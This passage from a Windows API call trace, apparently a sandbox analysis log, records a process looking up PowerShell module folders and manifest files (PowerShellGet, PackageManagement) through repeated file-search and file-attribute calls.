ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0154.288] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.288] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0154.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec00) returned 1 [0154.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec4 | out: lpFileInformation=0x5bdeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0154.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebfc) returned 1 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0154.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec24) returned 1 [0154.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2302f5c | out: lpFileInformation=0x2302f5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0154.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec20) returned 1 [0154.289] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0154.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0154.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0154.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0154.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0154.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0154.293] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0154.300] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0154.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.301] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0154.301] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0154.301] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.302] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.302] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0154.302] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0154.302] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.302] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.302] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0154.302] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0154.303] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0154.303] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0154.303] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0154.303] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0154.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0154.304] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0154.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.304] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0154.304] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0154.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0154.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0154.305] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.305] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.305] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0154.305] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.305] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0154.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0154.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec00) returned 1 [0154.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec4 | out: lpFileInformation=0x5bdeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0154.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebfc) returned 1 [0154.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0154.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0154.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0154.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0154.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec24) returned 1 [0154.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x230cafc | out: lpFileInformation=0x230cafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0154.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec20) returned 1 [0154.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0154.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0154.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0154.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0154.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0154.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0154.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0154.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0154.308] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.308] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.308] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0154.308] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.308] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0154.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0154.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec00) returned 1 [0154.309] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec4 | out: lpFileInformation=0x5bdeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0154.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebfc) returned 1 [0154.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, 